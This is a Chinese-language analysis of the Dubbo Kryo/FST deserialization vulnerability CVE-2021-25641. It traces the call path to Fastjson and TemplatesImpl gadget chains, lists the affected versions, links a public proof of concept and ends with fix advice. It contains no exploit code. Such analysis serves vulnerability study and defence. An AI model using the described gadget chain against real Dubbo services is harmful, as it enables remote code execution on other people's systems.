Kryo序列化方式是一种相较于其他序列化方式较快的序列化方式,速度更快,更便捷。
我们有了前面分析Hessian协议下的反序列化铺垫后,我们知道我们能够在消费者发送request请求的时候指定特性的序列化方式。可以参考CVE-2021-37579 exp的设置方式
在CodecSupport#getSerializationById将会通过传入的序号,返回对应的序列化器
如果这时候我们指定了通过Kryo协议进行序列化和反序列化的时候,并且provider存在Kryo对应的包,且会使用对应的InputStream对象处理数据
如果使用的是老版的Kryo组件(version < 5.0.0)存在反序列化漏洞

影响版本

Dubbo 2.7.0 to 2.7.8
Dubbo 2.6.0 to 2.6.9
Dubbo all 2.5.x versions (not supported by official team any longer)

漏洞细节

前面都是一系列的数据解码操作,之后来到了DubboCodec#decodeBody方法继续解析。
调用了DecodeableRpcInvocation#decode方法
接着继续调用了decode传入了输入流和channel参数。在这个方法中,将会通过request请求中的数据,解析获取,对应的反序列化协议,dubbo版本信息和接口等等,之后在最后调用了in.readObject方法进行相应的反序列化。
进入KryoObjectInput#readObject方法,接着继续调用readObject
进而调用了kryo#readClassAndObject方法。在这个方法中首先会获取输入流的类型为HashMap类,之后会获取HashMap对应的反序列化器进行反序列化操作
调用了MapSerializer#read方法。在这个方法中将分别获取输入的Map类的key和value。之后会将获取的key和value对应的值put进入map对象中去
跟进到putVal方法中调用key值得equals方法,即HotSwappableTargetSource#equals方法。
在其中调用了封装的XString对象的equals方法,传入的是一个JSONObject对象
**触发点1:**调用了其toString方法,这里是com/alibaba/fastjson/JSON类的toString()函数,进而调用JSONSerializer的write()函数,从而触发Fastjson Gadget。(dubbo-common中存在fastjson)
**触发点2:**进而调用了任意getter方法。这里可以触发了TemplatesImpl利用链,调用了getOutputProperties方法。

同样,FTS协议也是类似的用法,指定使用FTS协议就行了

POC
https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept
上面这里主要是使用的内置的fastsjon利用链,对于toString的触发,我们同样还有marshalsec中提到的SpringAbstractBeanFactoryPointcutAdvisor CommonsBeanutils等利用链

值得注意的是在遇到无法获取对应的定制类序列化器时,会使用默认的com.esotericsoftware.kryo.serializers.FieldSerializer来反序列化类
而FieldSerializer在反序列化类时,要求该类有一个无参数的构造函数,否则抛出类创建异常,导致反序列化失败
所以导致了很多hessian链可以使用的在Kyro不能使用了

同样值得注意的是Kyro在5.0.0之后,默认开启了registrationRequired为ture,只有被注册过的类才可以被序列化和反序列化

同样在Y4tacker师傅在MRCTF中在特定情况(根据我们前端传入的json当中的熟悉控制执行对应的set方法做属性更改)下进行了绕过

漏洞修复

在高版本中已将com.esotericsoftware:kryo依赖去掉了,在使用Kryo序列化器进行反序列化获取KryoObjectInput对象时会报找不到KryoException类的错误
(测试发现从2.7.4就将kryo依赖去掉了,此功能以 dubbo-serialization-kryo/fst 包的形式单独导入)
对于kryo,结合业务场景尽量使用kryo.readObject而不是kryo.readClassAndObject;通用方法:反序列化类设置白名单。